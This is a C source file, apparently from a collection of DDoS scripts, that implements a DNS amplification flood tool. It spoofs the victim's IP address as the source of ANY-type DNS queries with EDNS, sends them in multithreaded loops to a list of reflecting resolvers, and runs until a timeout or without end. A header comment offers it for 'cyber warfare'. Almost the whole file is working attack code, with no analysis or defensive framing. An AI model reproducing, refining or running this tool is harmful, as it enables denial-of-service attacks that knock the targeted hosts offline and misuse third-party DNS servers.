Path: blob/master/DDOS Scripts/AMP YUBINA SCRIPTS/dns_attack_script_source.c
4607 views
/*1This is released under the GNU GPL License v3.0, and is allowed to be used for cyber warfare. ;)2*/34#include <time.h>5#include <pthread.h>6#include <unistd.h>7#include <stdio.h>8#include <stdlib.h>9#include <string.h>10#include <sys/socket.h>11#include <netinet/ip.h>12#include <netinet/udp.h>13#include <arpa/inet.h>1415#define MAX_PACKET_SIZE 819216#define PHI 0x9e3779b917#define PACKETS_PER_RESOLVER 51819static uint32_t Q[4096], c = 362436;2021struct list22{23struct sockaddr_in data;24char domain[256];25int line;26struct list *next;27struct list *prev;28};29struct list *head;3031struct thread_data{32int thread_id;33struct list *list_node;34struct sockaddr_in sin;35int port;36};3738struct DNS_HEADER39{40unsigned short id; // identification number4142unsigned char rd :1; // recursion desired43unsigned char tc :1; // truncated message44unsigned char aa :1; // authoritive answer45unsigned char opcode :4; // purpose of message46unsigned char qr :1; // query/response flag4748unsigned char rcode :4; // response code49unsigned char cd :1; // checking disabled50unsigned char ad :1; // authenticated data51unsigned char z :1; // its z! reserved52unsigned char ra :1; // recursion available5354unsigned short q_count; // number of question entries55unsigned short ans_count; // number of answer entries56unsigned short auth_count; // number of authority entries57unsigned short add_count; // number of resource entries58};5960//Constant sized fields of query structure61struct QUESTION62{63unsigned short qtype;64unsigned short qclass;65};6667//Constant sized fields of the resource record structure68struct QUERY69{70unsigned char *name;71struct QUESTION *ques;72};7374void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host)75{76int lock = 0 , i;77strcat((char*)host,".");7879for(i = 0 ; i < strlen((char*)host) ; i++)80{81if(host[i]=='.')82{83*dns++ = i-lock;84for(;lock<i;lock++)85{86*dns++=host[lock];87}88lock++; //or lock=i+1;89}90}91*dns++='\0';92}9394void init_rand(uint32_t x)95{96int i;9798Q[0] = x;99Q[1] = x + PHI;100Q[2] = x + PHI + PHI;101102for (i = 3; i < 4096; i++)103Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;104}105106uint32_t rand_cmwc(void)107{108uint64_t t, a = 18782LL;109static uint32_t i = 4095;110uint32_t x, r = 0xfffffffe;111i = (i + 1) & 4095;112t = a * Q[i] + c;113c = (t >> 32);114x = t + c;115if (x < c) {116x++;117c++;118}119return (Q[i] = r - x);120}121122/* function for header checksums */123unsigned short csum (unsigned short *buf, int nwords)124{125unsigned long sum;126for (sum = 0; nwords > 0; nwords--)127sum += *buf++;128sum = (sum >> 16) + (sum & 0xffff);129sum += (sum >> 16);130return (unsigned short)(~sum);131}132133void setup_udp_header(struct udphdr *udph)134{135136}137138void *flood(void *par1)139{140struct thread_data *td = (struct thread_data *)par1;141142fprintf(stdout, "Thread %d started\n", td->thread_id);143144char strPacket[MAX_PACKET_SIZE];145int iPayloadSize = 0;146147struct sockaddr_in sin = td->sin;148struct list *list_node = td->list_node;149int iPort = td->port;150151int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);152if(s < 0)153{154fprintf(stderr, "Could not open raw socket. You need to be root!\n");155exit(-1);156}157158//init random159init_rand(time(NULL));160161// Clear the data162memset(strPacket, 0, MAX_PACKET_SIZE);163164// Make the packet165struct iphdr *iph = (struct iphdr *) &strPacket;166iph->ihl = 5;167iph->version = 4;168iph->tos = 0;169iph->tot_len = sizeof(struct iphdr) + 38;170iph->id = htonl(54321);171iph->frag_off = 0;172iph->ttl = MAXTTL;173iph->protocol = IPPROTO_UDP;174iph->check = 0;175iph->saddr = inet_addr("192.168.3.100");176177iPayloadSize += sizeof(struct iphdr);178179180struct udphdr *udph = (struct udphdr *) &strPacket[iPayloadSize];181udph->source = htons(iPort);182udph->dest = htons(53);183udph->check = 0;184185iPayloadSize += sizeof(struct udphdr);186187struct DNS_HEADER *dns = (struct DNS_HEADER *) &strPacket[iPayloadSize];188dns->id = (unsigned short) htons(rand_cmwc());189dns->qr = 0; //This is a query190dns->opcode = 0; //This is a standard query191dns->aa = 0; //Not Authoritative192dns->tc = 0; //This message is not truncated193dns->rd = 1; //Recursion Desired194dns->ra = 0; //Recursion not available! hey we dont have it (lol)195dns->z = 0;196dns->ad = 0;197dns->cd = 0;198dns->rcode = 0;199dns->q_count = htons(1); //we have only 1 question200dns->ans_count = 0;201dns->auth_count = 0;202dns->add_count = htons(1);203204iPayloadSize += sizeof(struct DNS_HEADER);205206sin.sin_port = udph->source;207iph->saddr = sin.sin_addr.s_addr;208iph->daddr = list_node->data.sin_addr.s_addr;209iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);210211212char strDomain[256];213int i;214int iAdditionalSize = 0;215while(1)216{217usleep(0);218//set the next node219list_node = list_node->next;220221//Clear the old domain and question222memset(&strPacket[iPayloadSize + iAdditionalSize], 0, iAdditionalSize);223224//add the chosen domain and question225iAdditionalSize = 0;226227unsigned char *qname = (unsigned char*) &strPacket[iPayloadSize + iAdditionalSize];228229strcpy(strDomain, list_node->domain);230ChangetoDnsNameFormat(qname, strDomain);231//printf("!!%s %d\n", list_node->domain, list_node->line);232233iAdditionalSize += strlen(qname) + 1;234235struct QUESTION *qinfo = (struct QUESTION *) &strPacket[iPayloadSize + iAdditionalSize];236qinfo->qtype = htons(255); //type of the query , A , MX , CNAME , NS etc237qinfo->qclass = htons(1);238239iAdditionalSize += sizeof(struct QUESTION);240241void *edns = (void *) &strPacket[iPayloadSize + iAdditionalSize];242memset(edns+2, 0x29, 1);243memset(edns+3, 0x23, 1);244memset(edns+4, 0x28, 1);245246247iAdditionalSize += 11;248249//set new node data250iph->daddr = list_node->data.sin_addr.s_addr;251252udph->len= htons((iPayloadSize + iAdditionalSize + 5) - sizeof(struct iphdr));253iph->tot_len = iPayloadSize + iAdditionalSize + 5;254255udph->source = htons(rand_cmwc() & 0xFFFF);256iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);257258//send259for(i = 0; i < PACKETS_PER_RESOLVER; i++)260{261sendto(s, strPacket, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));262}263}264}265266void ParseResolverLine(char *strLine, int iLine)267{268char caIP[32] = "";269char caDNS[512] = "";270271int i;272char buffer[512] = "";273274int moved = 0;275276for(i = 0; i < strlen(strLine); i++)277{278if(strLine[i] == ' ' || strLine[i] == '\n' || strLine[i] == '\t')279{280moved++;281continue;282}283284if(moved == 0)285{286caIP[strlen(caIP)] = (char) strLine[i];287}288else if(moved == 1)289{290caDNS[strlen(caDNS)] = (char) strLine[i];291}292}293294//printf("Found resolver %s, domain %s!\n", caIP, caDNS);295296if(head == NULL)297{298head = (struct list *)malloc(sizeof(struct list));299300bzero(&head->data, sizeof(head->data));301302head->data.sin_addr.s_addr=inet_addr(caIP);303head->data.sin_port=htons(53);304strcpy(head->domain, caDNS);305head->line = iLine;306head->next = head;307head->prev = head;308}309else310{311struct list *new_node = (struct list *)malloc(sizeof(struct list));312313memset(new_node, 0x00, sizeof(struct list));314315new_node->data.sin_addr.s_addr=inet_addr(caIP);316new_node->data.sin_port=htons(53);317strcpy(new_node->domain, caDNS);318new_node->prev = head;319head->line = iLine;320new_node->next = head->next;321head->next = new_node;322}323}324325int main(int argc, char *argv[ ])326{327if(argc < 4)328{329fprintf(stderr, "Invalid parameters!\n");330fprintf(stdout, "\nUsage: %s <target IP/hostname> <port to hit> <reflection file> <number threads to use> <time>\n", argv[0]);331exit(-1);332}333334head = NULL;335336char *strLine = (char *) malloc(256);337strLine = memset(strLine, 0x00, 256);338339char strIP[32] = "";340char strDomain[256] = "";341342int iLine = 0; // 0 = ip, 1 = domain.343344FILE *list_fd = fopen(argv[3], "r");345while(fgets(strLine, 256, list_fd) != NULL)346{347ParseResolverLine(strLine, iLine);348iLine++;349}350351352int i = 0;353int num_threads = atoi(argv[4]);354355struct list *current = head->next;356pthread_t thread[num_threads];357struct sockaddr_in sin;358sin.sin_family = AF_INET;359sin.sin_port = htons(0);360sin.sin_addr.s_addr = inet_addr(argv[1]);361struct thread_data td[num_threads];362363int iPort = atoi(argv[2]);364365printf("Flooding %s\n", argv[1], iPort);366367for(i = 0; i < num_threads; i++)368{369td[i].thread_id = i;370td[i].sin= sin;371td[i].list_node = current;372td[i].port = iPort;373pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);374}375376fprintf(stdout, "Starting Flood...\n");377378if(argc > 4)379{380sleep(atoi(argv[5]));381}382else383{384while(1)385{386sleep(1);387}388}389390return 0;391}392393